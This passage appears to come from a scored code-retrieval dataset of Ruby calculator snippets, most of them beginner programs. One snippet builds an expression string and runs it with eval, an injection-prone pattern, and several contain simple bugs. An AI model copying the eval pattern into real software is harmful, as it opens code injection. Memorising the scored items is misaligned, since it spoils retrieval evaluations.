"title": "" }, { "docid": "a33763b5a0f67f1336db72da708720f5", "score": "0.64399177", "text": "def calculator\n #ask user method\n puts \"What calculation would you like to do? (add, sub, mult, div)\"\n calc_type = gets.chomp\n\n #ask for first number\n puts \"What is number 1? where result = num_1 operator num_2\"\n num_1 = gets.chomp\n num_1 = num_1.to_f\n\n #ask for second number\n puts \"What is number 2?\"\n num_2 = gets.chomp\n num_2 = num_2.to_f\n\n # do calculation using num_1, num_2, calc_type\n if calc_type == \"add\"\n result = num_1 + num_2\n elsif calc_type == \"sub\" \n result = num_1 - num_2\n elsif calc_type == \"mult\" \n result = num_1 * num_2\n else\n result = num_1.to_f / num_2.to_f\n end\n #return result\n puts \"#{result}\"\n return result\n\nend", "title": "" }, { "docid": "bf269b1931904e105446c408a29f19b5", "score": "0.6438542", "text": "def calculator(operator_active, num1, num2)\n case operator_active\n when \"+\"\n return num1 + num2\n when \"-\"\n return num1 - num2\n when \"*\"\n return num1 * num2\n when \"/\"\n return num1 / num2\n end\nend", "title": "" }, { "docid": "f2600b0edf60978ade9ab0748ab93c72", "score": "0.643123", "text": "def calculator \n valid_operations = [\"add\",\"+\",\"subtract\",\"-\",\"multiply\",\"*\",\"divide\",\"/\"]\n \n # ask user for math operations \n # check if operation is valid and if not ask for a new input \n puts \"What is the math operation?\"\n operation = gets.chomp.strip.downcase \n until valid_operations.include?(operation)\n puts \"Please enter a valid operation\"\n operation = gets.chomp\n end \n \n \n # ask user for numbers and input validation \n puts \"What is the first number for the math operation?\"\n number_one = gets.chomp.strip\n number_one = check_number(number_one)\n puts \"What is the seccond number for the math operation?\"\n number_two = gets.chomp.strip\n number_two = check_number(number_two)\n \n # use user input to do math operations \n if operation == \"add\" || operation == \"+\"\n result = number_one + number_two \n operation = \"+\"\n elsif operation == \"subtract\" || operation == \"subtract\"\n result = number_one - number_two \n operation = \"-\"\n elsif operation == \"multiply\" || operation == \"*\"\n result = number_one * number_two \n operation = \"*\"\n elsif operation == \"divide\" || operation == \"/\"\n result = number_one / number_two \n operation = \"/\"\n \n end \n \n \n # display result of calculation to user \n puts \" #{number_one} #{operation} #{number_two} = #{result}\"\nend", "title": "" }, { "docid": "54d646bbc7017f75ab1167aa49905d8c", "score": "0.6387346", "text": "def calc\n# print \"Please select (a)dd, (s)ubtract, (m)ultiply, (d)ivide, (p)ower, or (s)quare root: \"\n# operation = gets.chomp.downcase\n case response\n when \"a\"\n \tputs \"You have selected addition. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 + num2\n \tputs \"#{num1} plus #{num2} equals #{ans}.\"\n when \"s\"\n \tputs \"You have selected subtraction. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 - num2\n \tputs \"#{num1} minus #{num2} equals #{ans}.\"\n when \"m\"\n \tputs \"You have selected multiplication. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 * num2\n \tputs \"#{num1} multiplied by #{num2} equals #{ans}.\"\n when \"d\"\n \tputs \"You have selected division. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 / num2\n \tputs \"#{num1} divided by #{num2} equals #{ans}.\"\n when \"p\"\n \tputs \"You have selected power. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the power which you would like that to be raised: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1**num2\n \tputs \"#{num1} to the power of #{num2} equals #{ans}.\"\n when \"s\"\n \tputs \"You have selected square root. Please enter the number you would like to know the square root of: \"\n \tnum1 = gets.chomp.to_f\n \tans = Math.sqrt(num1)\n \tputs \"The square root of #{num1} equals #{ans}.\"\n else\n \tputs \"Please try again.\"\n \tcalc\n end\nend", "title": "" }, { "docid": "f1d6c92b755406d7a0e9b9a4d0bcde5b", "score": "0.63703793", "text": "def calculator\n puts \"Welcome to the DPL Ruby Calculator!\"\n puts \"Type 'clear' to clear the calculator at anytime\"\n puts \"Type 'exit' to exit the calculator at anytime\"\n first_number\n get_modifier\n second_number\n put_result \nend", "title": "" }, { "docid": "9c715833d691daf3654d2e70ad6b86e5", "score": "0.63644314", "text": "def calculate\n\t\tplace_in_containers()\n\n\t\t# Checks for mismatch between the number of operands and operators.\n\t\t# The only valid number of operators for N operands is (N - 1).\n\t\tunless @operands.size - @operators.size == 1\n\t\t\t@valid = false\n\t\t\[email protected](\"Operand/Operator mismatch.\")\n\t\tend\n\n\t\t# Checks for operators present before the first two operands\n\t\t# are written. This is incorrect RPN syntax.\n\t\tif (@instructions[0..1] & [1010, 1011, 1100, 1101]).any?\n\t\t\t@valid = false\n\t\t\[email protected](\"Operator present before first two operands.\")\n\t\tend\n\n\t\t# Checks for an empty operand stack. In this case, there is\n\t\t# nothing more to do in the method.\n\t\tif @operands.empty?\n\t\t\[email protected](\"No operands.\")\n\t\t\treturn [0, false]\n\t\tend\n\n\t\t# Runs a loop until fewer than two operands or fewer than 1\n\t\t# operators are present in their respective containers.\n\t\tuntil @operands.size == 1 || @operators.size == 0 do\n\t\t\t# Pops the first operator from the front of the queue.\n\t\t\toperator = @operators.shift\n\n\t\t\t# Pops the top and second-to-top operands off of the stack.\n\t\t\topright = @operands.pop\n\t\t\topleft = @operands.pop\n\n\t\t\t# Returns prematurely before division by zero occurs.\n\t\t\tif operator == \"/\" && opright == 0\n\t\t\t\tputs \"division by zero\"\n\t\t\t\treturn [0, false]\n\t\t\tend\n\n\t\t\t# Sends the operator and the right operand to the left operand\n\t\t\t# and thereby invokes FixedNum#+, the method used for adding\n\t\t\t# integers.\n\t\t\[email protected](opleft.send(operator, opright))\n\t\tend\n\n\t\t# Returns the last element of @operands and the value of @valid.\n\t\t[@operands[-1], @valid]\n\tend", "title": "" }, { "docid": "7d2f7e2cf196dec07ed52c5a465cc04a", "score": "0.6361625", "text": "def plus\n\n\t\t# we have to make sure we have enough elements to perform the operation by calling empty\n\t\tempty?\n\n\t\t# pop the num1 and num2 in order to take them from the back of the array as needed\n\t\tnum_1 = @calculator.pop\n\t\tnum_2 = @calculator.pop\n\n\t\t# the result of adding the nums are pushed into the @calc array\n\t\t@calculator << num_2 + num_1\n\tend", "title": "" }, { "docid": "bd88af43383b9855493705f2a405cc17", "score": "0.6328702", "text": "def Calculator(leftParam, rightParam, operator)\n\n case operator\n\n when \"+\"\n return leftParam + rightParam;\n when \"*\"\n\n i = 0\n result = 0\n while i < leftParam #2\n result = result + rightParam #@\n i= i + 1\n end\n\n return result\n end\nend", "title": "" }, { "docid": "434dbd999d83021e27104533b87f075b", "score": "0.632754", "text": "def recalculate\n end", "title": "" }, { "docid": "8c13a178c90131bf022c659deaada465", "score": "0.6325786", "text": "def calculator_method(operator, number_1, number_2)\n case operator\n when \"add\"\n total = number_1 + number_2\n when \"+\"\n total = number_1 + number_2\n when \"subtract\"\n total = number_1 - number_2\n when \"-\"\n total = number_1 - number_2\n when \"multiply\"\n total = number_1 * number_2\n when \"x\"\n total = number_1 * number_2\n when \"*\"\n total = number_1 * number_2\n when \"divide\"\n total = number_1.to_f / number_2.to_f\n when \"/\"\n total = number_1.to_f / number_2.to_f\n end\n return total\nend", "title": "" }, { "docid": "ae1791c18d5d56d3214739b1add94329", "score": "0.63159674", "text": "def calculate( a, operator, c )\n\tif operator == \"+\"\n\t\ta + c\n\telsif operator == \"-\"\n\t\ta - c\n\telsif operator == \"*\"\n\t\ta * c\n\telsif operator == \"/\"\n\t\ta/c\n\t\t\n\tend\n\t\nend", "title": "" }, { "docid": "35a0760d131885be0d80e7f4d3b6b57e", "score": "0.62312835", "text": "def calculator\n @calculator ||= Calculator.new(\n Helper.total_demand_curve(self),\n Helper.total_supply_curve(self)\n )\n end", "title": "" }, { "docid": "f5d3acd0ca12860719589a997428041b", "score": "0.6226557", "text": "def recalculate\n\tend", "title": "" }, { "docid": "511af211ec500ac178bad04deccfbf39", "score": "0.6218477", "text": "def calculator\n end_op = \"addition\"\n end_product = 0\n puts \"What is your first number?\"\n numb1 = gets.chomp.to_f\n puts \"What is your operation?\"\n op = gets.chomp\n puts \"What is your second number?\"\n numb2 = gets.chomp.to_f\n puts \"Would you like to add an operation?\"\n add_second = gets.chomp.capitalize\n if add_second.upcase == \"YES\"\n puts \"What is your operation?\"\n op2 = gets.chomp\n puts \"What is your third number?\"\n numb3 = gets.chomp.to_f\n# calculator\n else\n end\n\n # This is normalizing the input, so that the operation is only the lowercase word of the op\n if op == \"+\" || op == \"addition\"\n end_op = \"addition\"\n elsif op == \"-\" || op == \"subtraction\"\n end_op = \"subtraction\"\n elsif op == \"*\" || op == \"multiplication\"\n end_op = \"multiplication\"\n elsif op == \"/\" || op == \"division\"\n end_op = \"division\"\n end\n\n # This does the same as the above section, for the 2nd op\n if op2 == \"+\" || op == \"addition\" || op == \"ADDITION\"\n end_op2 = \"addition\"\n elsif op2 == \"-\" || op == \"subtraction\" || op == \"SUBTRACTION\"\n end_op2 = \"subtraction\"\n elsif op2 == \"*\" || op == \"multiplication\" || op == \"MULTIPLICATION\"\n end_op2 = \"multiplication\"\n elsif op2 == \"/\" || op == \"division\" || op == \"DIVISION\"\n end_op2 = \"division\"\n end\n\n # This operates the first 2 numbers\nif end_op == \"addition\"\n end_product = numb1 + numb2\n elsif end_op == \"subtraction\"\n end_product = numb1 - numb2\n elsif end_op == \"multiplication\"\n end_product = numb1 * numb2\n elsif end_op == \"division\"\n end_product = numb1 / numb2\nend\n\n # This calculates for the 2nd operation and 3rd number\n if add_second.upcase == \"YES\"\n if end_op2 == \"addition\"\n end_product = end_product + numb3\n elsif end_op2 == \"subtraction\"\n end_product = end_product - numb3\n elsif end_op2 == \"multiplication\"\n end_product = end_product * numb3\n elsif end_op2 == \"division\"\n end_product = end_product / numb3\n else\nend\nend\n puts \"Your final answer is #{end_product}.\"\nend", "title": "" }, { "docid": "c01074320960ad0ba60dafbeca3bae79", "score": "0.6203363", "text": "def calculate\n @output << @first << (@op.to_s + @second.to_s)\n \n case @op\n when \"+\" then @result = @first + @second\n when \"-\" then @result = @first - @second\n when \"*\" then \n @result = @first * @second\n # Nasobeni pod sebou ma smysl resit jenom pokud ma druhy citatel vic nez jednu cislici\n if @second.to_s.length > 1\n @output << '-'\n # Iterace pozadu pres druhy citatel pro nasobeni pod sebou\n # Idealne by to zde slo zjednodusit na @second.to_s.reverse.each_char.with_index,\n # ale to jak jsem zjistil neni podporovano v 1.8.x\n @second.to_s.reverse.split(\"\").each_with_index do |char, i|\n @output << (@first * char.to_i).to_s + (' ' * i)\n end \n end\n end\n @output << '-'\n @output << @result\n self # pro zjednoduseni chain callu \n end", "title": "" }, { "docid": "c685aadd88d90642cc1b8f0b14a73441", "score": "0.61768335", "text": "def basic_calculator\n print \"Do you wish to add, subtract, multiply or divide?: \"\n operation = gets.chomp.downcase\n\n if operation == \"add\"\n formula\n puts (@first_num + @second_num)\n elsif operation == \"subtract\"\n formula\n puts (@first_num - @second_num)\n elsif operation == \"multiply\"\n formula\n puts (@first_num * @second_num)\n elsif operation == \"divide\"\n formula\n puts (@first_num / @second_num)\n else\n puts \"Invalid selection.\"\n end\n end", "title": "" }, { "docid": "1e6de9aec032c4da5e42a48b6d2ea5b2", "score": "0.61741954", "text": "def calculator()\n\n\tputs \"What kind of operation would you like to do - addition, substraction, multiplication, division\"\n\tchoice = gets.chomp\n\n\tputs \"What is number 1\"\n\tnum_1 = gets.chomp.to_f\n\n\tputs \"What is number 2\"\n\tnum_2 = gets.chomp.to_f\n\n\tcase choice\n\t\twhen \"addition\"\n\t\t\ttotal = num_1 + num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\twhen \"substraction\"\n\t\t \ttotal = num_1 - num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\twhen \"multiplication\"\n\t\t \ttotal = num_1 * num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\telse\n\t\t \ttotal = num_1 / num_2\n\t\t\tputs \"Your result is #{total}\"\n\tend\nend", "title": "" }, { "docid": "0294825b54d53774e30efc3ed954d5f3", "score": "0.6165029", "text": "def calc(input)\n LexicalCalculator.calculate(input)\nend", "title": "" }, { "docid": "c064eef19b8956282ee2a39e079efd8a", "score": "0.61611867", "text": "def main\n # determine whether to use verbose outpuut\n verbose = false\n if ARGV[0] != nil and ARGV[0].downcase == \"-v\"\n verbose = true\n end\n\n # get input\n puts \"Instructions: enter a mathematical expression using +, -, *, /, **, or (q)uit\"\n puts \"Calculator follows order of operations\"\n puts \"All elements must be separated by spaces\"\n puts \"e.g. ( 4 + 5 ) * 6\"\n print \"Enter an expression: \"\n expr = STDIN.gets.strip\n\n # continue calculating expressions until user quits\n until expr.downcase.start_with?(\"q\")\n # send to calc() and print result\n result = calc(expr, verbose)\n\n if result == nil\n puts \"Please enter a valid expression\"\n puts \"Common error: all elements should be separated by spaces\"\n elsif result % 1 == 0 # print int if result is integer\n puts result.to_i\n else\n puts result\n end\n\n print \"enter another expression, or (q)uit: \"\n expr = STDIN.gets.strip\n end\nend", "title": "" }, { "docid": "f9548d15fb852ea407d289baa21a9531", "score": "0.6145397", "text": "def read_and_calculate\n puts 'Insert the equation'\n entry = gets.chomp\n result = calculate(entry)\n puts result\n end", "title": "" }, { "docid": "bc3beef6d41cc56dd0de4c2fde363e32", "score": "0.6141572", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n operation = gets.chomp.downcase\n print \"first number: \"\n a = gets.to_f\n print \"second number: \"\n b = gets.to_f\n \n case operation\n when 'a'\n puts \"#{a + b}\"\n when 's'\n puts \"#{a - b}\"\n when 'm'\n puts \"#{a * b}\"\n when 'd'\n puts \"#{a / b}\"\n else\n puts \"WRONG!!!!!\"\n basic_calc\n end\n\n gets\nend", "title": "" }, { "docid": "2567717ec723c2e32360a8d612e2db6d", "score": "0.61401385", "text": "def basic_calc ()\n print \"Please choose from the following options:\n(a)dd, (s)ubtract, (m)ultiply, (d)ivide, (r)eturnt to main menu : \"\n basic_menu_request = gets.chomp.downcase\n case basic_menu_request\n when \"a\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first + second\n puts \"The answer is #{answer}\"\n when \"s\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first - second\n puts \"The answer is #{answer}\"\n when \"m\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first * second\n puts \"The answer is #{answer}\"\n when \"d\"\n print \"What is the first number? \"\n first = gets.chomp.to_f\n print \"What is the second number? \"\n second = gets.chomp.to_f\n answer = first / second\n puts \"The answer is #{answer}\"\n when \"r\"\n puts menu\n else\n print \"That is not a valid command. \"\n puts basic_calc\n end\n\nend", "title": "" }, { "docid": "f7db4511422deff2355379aa9becf505", "score": "0.6138177", "text": "def calculator_method(number_one, operator, number_two)\n if operator == \"+\"\n return result = number_one + number_two\n elsif operator == \"-\"\n return result = number_one - number_two\n elsif operator == \"*\"\n return result = number_one * number_two\n else operator == \"/\"\n return result = number_one / number_two\n end\nend", "title": "" }, { "docid": "71182ce1f8260985ac3207dd524bd6c3", "score": "0.6127775", "text": "def calculator_1(operator, num1, num2)\n # See exercise 36\nend", "title": "" }, { "docid": "205438f60cede70c465713de201ed4ef", "score": "0.6123463", "text": "def divide\n\n\t\t# make sure when can perform the operation\n\t\tempty?\n\n\t\t# pop the last 2 numbers and store but need to be converted to a float\n\t\tnum_1 = @calculator.pop.to_f\n\t\tnum_2 = @calculator.pop.to_f\n\n\t\t# division is performed and pushed to @calc\n\t\t@calculator << num_2 / num_1\n\n\tend", "title": "" }, { "docid": "d533d5c0cad2195c350004f972e9c7b6", "score": "0.61226124", "text": "def calculator(op, num1, num2)\n if op == \"add\" || op == \"+\" || op == \"addition\"\n return num1 + \" + \" + num2 + \" = #{add(num1.to_i, num2.to_i)}\"\n elsif op == \"subtract\" || op == \"-\" || op == \"subtraction\"\n return num1 + \" - \" + num2 + \" = #{sub(num1.to_i, num2.to_i)}\"\n elsif op == \"multiply\" || op == \"*\" || op == \"multiplication\"\n return num1 + \" * \" + num2 + \" = #{mult(num1.to_i, num2.to_i)}\"\n elsif op == \"divide\" || op == \"/\" || op == \"division\"\n return num1 + \" / \" + num2 + \" = #{div(num1.to_i, num2.to_i)}\"\n elsif op == \"modulo\" || op == \"remainder\" || op == \"%\"\n return num1 + \" % \" + num2 + \" = #{mod(num1.to_i, num2.to_i)}\"\n else op == \"exponent\" || op == \"^\"\n return num1 + \"^\" + num2 + \" = #{exponent(num1.to_i, num2.to_i)}\"\n end\nend", "title": "" }, { "docid": "13adb6c9e576f06d8f15afba222bcddd", "score": "0.61206174", "text": "def calculate\n \t@num1 = params[:num1].to_i\n \t@num2 = params[:num2].to_i\n\n \tif params[:addition] then\n @result = @num1 + @num2\n elsif params[:subtraction] then\n @result = @num1 - @num2\n elsif params[:multiplication] then\n @result = @num1 * @num2\n elsif params[:division] then\n @result = @num1/@num2\n else\n \trender \"errorhandling\"\n \tflash[:error] = \"Couldn't calculate!\"\n end\n \t\n end", "title": "" }, { "docid": "2c394e66fcfc2461b7119bd80bc71074", "score": "0.6109468", "text": "def calculator\n @calculator ||= Fever::Calculator.new(consumer, activities)\n end", "title": "" }, { "docid": "3e22a799396ba408db98c1f73107fdee", "score": "0.60942954", "text": "def cal()\n @v = 0.0;\n @n.times {|i|\n @v += @wn[i] * @xn[i];\n }\n nil;\n end", "title": "" }, { "docid": "330c6f71548cb0e73aca4e7feaba5095", "score": "0.60921425", "text": "def calculate_expressions(expr)\n res = 0\n if expr.count(\"a-zA-Z\") > 0\n res = \"Incorrect expression or Number\"\n else\n while(has_operators?(expr))\n @logger.info \"Expression=#{expr}\"\n part_expr = \"\"\n operator = next_operator(expr)\n @logger.info \"Operator=#{operator}\"\n idx = expr.index(operator)\n val1 = find_prv_operand(expr, idx)\n val2 = find_next_operand(expr, idx)\n res = perform_calc(operator, val1, val2)\n part_expr = \"#{val1}#{operator}#{val2}\"\n @logger.info \"#{part_expr}=#{res}\"\n expr.gsub!(part_expr, res.to_s)\n end\n res = res.round(2)\n end\n res\n end", "title": "" }, { "docid": "3e23b9d9928c0c6537ba511a0ce901f6", "score": "0.60860056", "text": "def compute_amount(calculable)\n 0\n #self.calculator.compute(calculable, self)\n end", "title": "" }, { "docid": "cdd8e5d9707399f26c267ee7ae3a921c", "score": "0.606781", "text": "def calculate(input)\n\tUTIL::Log.debug(\"processing: #{input}\")\n expr = @scanner.tokenize(input)\n\tUTIL::Log.debug(\"tokenized expression: #{expr}\")\n postfix_expr = @translate.to_postfix(expr)\n\tUTIL::Log.debug(\"postfix expression: #{postfix_expr}\")\n result = @calc.eval(postfix_expr)\n UTIL::Log.debug(\"result: #{result}\")\n\tresult\n end", "title": "" }, { "docid": "d71a8bba3f20a14a7be227e945b3023f", "score": "0.6066748", "text": "def calculator(a,b)\n puts \"The sub of #{a} and #{b} is #{a + b}\"\n puts \"The difference of #{a} and #{b} is #{a - b}\"\n puts \"The multiplication of #{a} and #{b} is #{a * b}\"\n end", "title": "" }, { "docid": "af2558336835f44e0b8add800c6343c0", "score": "0.6066689", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n option_2 = gets.chomp.downcase\n\n if option_2 == \"a\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to add: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} + #{number_2} = #{number_1 + number_2}\"\n elsif option_2 == \"s\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to subtract: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} - #{number_2} = #{number_1 - number_2}\"\n elsif option_2 == \"m\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to multiply: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} x #{number_2} = #{number_1 * number_2}\"\n elsif option_2 == \"d\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to divide: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} ÷ #{number_2} = #{number_1 / number_2}\"\n else\n puts \"That is not a valid option. Please try again.\"\n end\n\nend", "title": "" }, { "docid": "9f676cb41b386a4cb41869f456df10da", "score": "0.6054855", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n\nend", "title": "" }, { "docid": "9f676cb41b386a4cb41869f456df10da", "score": "0.6054855", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n\nend", "title": "" }, { "docid": "bdd1e25756b4c2e6341616df6c289e9a", "score": "0.6039159", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n command = gets.chomp.downcase\n case command\n when \"a\"\n puts \"Adding, please provide numbers\"\n first_num = inputs\n answer = inputs + first_num\n when \"s\"\n puts \"Subtracting\"\n first_num = inputs\n answer = first - inputs\n when \"m\"\n puts \"Multiplication\"\n first_num = inputs\n answer = first_num * inputs\n when \"d\"\n puts \"Division\"\n first_num = inputs\n answer = first_num/inputs\n else\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n command = gets.chomp.downcase\n end\n return answer\nend", "title": "" }, { "docid": "6aca73f5855e700e51bf74694aafea62", "score": "0.603565", "text": "def basic_calc\n print Rainbow(\"\\n(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \\n\").yellow\n basic_choice = gets.chomp.downcase\n\n print \"\\nEnter your first number: \" \n first_number = gets.to_f\n print \"\\nEnter your second number: \"\n second_number = gets.to_f\n\n\n case basic_choice[0]\n when \"a\"\n print \"\\n\\t#{first_number} + #{second_number} = \", first_number + second_number, \"\\n\"\n when \"s\"\n print \"\\n\\t#{first_number} - #{second_number} = \", first_number - second_number, \"\\n\"\n when \"m\"\n print \"\\n\\t#{first_number} * #{second_number} = \", first_number * second_number, \"\\n\"\n when \"d\"\n print \"\\n\\t#{first_number} / #{second_number} = \", first_number / second_number, \"\\n\"\n else Rainbow(\"\\nYou're doing it wrong!\".upcase).red\n end\n gets\nend", "title": "" }, { "docid": "71d1fd6c1b1c56bf04e160fa2de0921c", "score": "0.6032396", "text": "def calculate(calculator = nil)\n @calculated ||= (calculator || self.class.calculator).calculate(self)\n self\n end", "title": "" }, { "docid": "c82fff8dbdc4f0f3a47a0aa9d44d7ddc", "score": "0.6021541", "text": "def input_process (*args)\n if(args.size == 1)\n input = args[0]\n operation = input.initial\n elsif(args.size == 2)\n input = args[1]\n operation = input[0]\n else\n return\n end\n \n total = get_numbers(input, operation)\n\n if operation == \"+\"\n $totalvalue += addition(*total)\n elsif operation == \"-\"\n $totalvalue += subtraction(*total)\n elsif operation == \"*\"\n $totalvalue = multiplication($totalvalue, *total)\n elsif operation == \"/\"\n $totalvalue = division($totalvalue, *total)\n end\n total.clear\nend", "title": "" }, { "docid": "06047359e3fcd8e7a95ef072e6efb30d", "score": "0.60187614", "text": "def calculator\n @calculator ||= Calculator.new\n end", "title": "" }, { "docid": "661d8691f25777692ee4da62a0abe3ab", "score": "0.6016971", "text": "def advanced_calc\n puts \"You chose advanced calculator, which operator would you like to use? type 'P' for power or 'S' for square-root? \"\n operator = gets.chomp()\n\n case operator\n when \"P\"\n puts \"Choose your base number? \"\n num1 = gets.chomp()\n puts \"Choose your exponential number? \"\n num2 = gets.chomp()\n sum = (num1.to_f) ** num2.to_f\n puts \"Your answer is #{sum}\"\n display_calculator\n\n when \"S\"\n puts \"Choose your number? \"\n x = gets.chomp().to_f\n if (x < 0)\n puts \"Error, you cannot divide by a negative number\"\n display_calculator\n elsif (x >= 0)\n sum = Math.sqrt(x)\n puts \"Your answer is #{sum}\"\n display_calculator\n end\n end\nend", "title": "" }, { "docid": "16f787f8b196b1dedc7fc2f63b2e5a5c", "score": "0.60100085", "text": "def calculate\n formula_map = FormulaMap.new(@data)\n\n formula_map.parameters.each do |ts, parameter|\n @results[ts] = @calculator.evaluate(@formula, parameter)\n end\n end", "title": "" }, { "docid": "1131ce5387f52e60a0cd0c9aa86c0fc6", "score": "0.6004415", "text": "def calculator\n\tputs \"Hello and welcome to the calculator. If you do not want to use this application, type exit and click the return key\"\n\tputs \"Would you like to add, subtract, multiply, divide, or use exponents?\"\n\tanswer = gets.chomp\n\tif answer == \"multiply\"\n\t\tmultiplication\n\telsif answer == \"add\"\n\t\taddition\n\telsif answer == \"divide\"\n\t\tdivision\n\telsif answer == \"subtract\"\n\t\tsubtraction\n\telsif answer == \"exponents\"\n\t\texponents\n\telse\n\t\tputs \"I am sorry, that is not a computation. Try re-wording what you said and try again.\"\n\tend\nend", "title": "" }, { "docid": "ee28d9a9e602ac66b0a90dd1a47896ea", "score": "0.6003452", "text": "def calculator(list)\r\n profit = total_price(list) - total_cost(list) \r\n return profit\r\nend", "title": "" }, { "docid": "3f4fadcd8587ef7a4ec9e49f7c8a18f7", "score": "0.59952486", "text": "def calculator\n Nps::Calculator.new(ballot)\n end", "title": "" }, { "docid": "44d77477ace1b98f3ef687b1dd22d78a", "score": "0.5986364", "text": "def calculations\n cals=[]\n cal_paths=lb_paths(Xbrlware::LBConstants::CALCULATION)\n cal_paths.each do |path|\n _callb = callb(path)\n cals += _callb.calculation unless _callb.nil?\n end\n cals\n end", "title": "" }, { "docid": "29208cfb981917736803692c3f4ceff2", "score": "0.5983678", "text": "def basic_calc\n\tprint \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide:\" \n\tuser_input = gets.chomp\nif user_input == \"a\"\n\tadd\nelsif user_input == \"s\"\n\tsubtract\nelsif user_input == \"m\"\n\tmultiply\nelsif user_input == \"d\"\n\tdivide\n\tend\nend", "title": "" }, { "docid": "40bc25df13cb7d8be74e75d5f9cda640", "score": "0.59819144", "text": "def times\n\t\tif @operands.size>= 2\n\t\t\tnew_n = (@operands[-2] * @operands[-1])\n\t\t\[email protected](2)\n\t\t\[email protected] new_n\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend", "title": "" }, { "docid": "b6a341f531d73ceecbaaeba5269f902a", "score": "0.5968574", "text": "def calculate(num1, sym, num2)\n\tputs eval \"#{num1} #{sym} #{num2}\"\nend", "title": "" }, { "docid": "b812071ca9d1fbfdc7dfbd97362251e6", "score": "0.5966192", "text": "def calculate_with_fuel\n s = 0\n res = calculate\n until res.zero?\n s += res\n @mass = res\n res = calculate\n end\n s\n end", "title": "" }, { "docid": "8d655fb4a3db71711d4372cce9142323", "score": "0.59597206", "text": "def basic_calc\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n basic_functions = gets.chomp\n while basic_functions != \"quit\"\n if basic_functions == \"a\"\n puts \"Enter first number\"\n add1_int = gets.chomp\n puts \"Enter second number\"\n add2_int = gets.chomp\n puts \"Equals\"\n puts add1_int + add2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n end\n if basic_functions == \"s\"\n puts \"Enter first integer\"\n sub1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n sub2_int = gets.chomp.to_i\n puts \"Equals\"\n puts sub1_int - sub2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n end\n if basic_functions == \"m\"\n puts \"Enter first integer\"\n mult1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n mult2_int = gets.chomp.to_i\n puts \"Equals\"\n puts mult1_int * mult2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n\n end\n if basic_functions == \"d\"\n puts \"Enter first integer\"\n div1_int = gets.chomp.to_i\n puts \"Enter second integer\"\n div2_int = gets.chomp.to_i\n puts \"Equals\"\n puts div1_int / div2_int\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: enter a, s, m, or d; quit to quit\"\n puts basic_functions = gets.chomp\n\n end\n end\nend", "title": "" }, { "docid": "19671d5c487ea1b77b172e7585900904", "score": "0.5932814", "text": "def divide\n\t\tif @operands.size>= 2\n\t\t\tnew_n = (@operands[-2].to_f / @operands[-1].to_f)\n\t\t\[email protected](2)\n\t\t\[email protected] new_n\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend", "title": "" }, { "docid": "41475219c5a452bfe799c799e4e9bbe2", "score": "0.5932104", "text": "def calculator(number1, number2, operation)\n case operation\n when \"A\"\n number1 + number2\n when \"S\"\n number1 - number2\n when \"M\"\n number1 * number2\n when \"D\"\n divide_integers(number1, number2)\n else\n \"Unknown operation. Giving up.\"\n end\nend", "title": "" }, { "docid": "aecc9311ac0f73cce96fa57349ec89c7", "score": "0.5918771", "text": "def rpn_calculator\n operators_list = ['+','-','*','/']\n stack = []\n \n def add(stack)\n stack.push(stack.pop + stack.pop)\n end\n \n def minus(stack)\n var1, var2 = stack.pop, stack.pop\n stack.push(var2 - var1)\n end\n \n def multiply(stack)\n stack.push(stack.pop * stack.pop)\n end\n \n def divide(stack)\n stack.push(stack.pop / stack.pop)\n end\n \n def get_user_input\n puts \"enter number or operator into calculator\"\n\n gets.chomp\n end\n \n 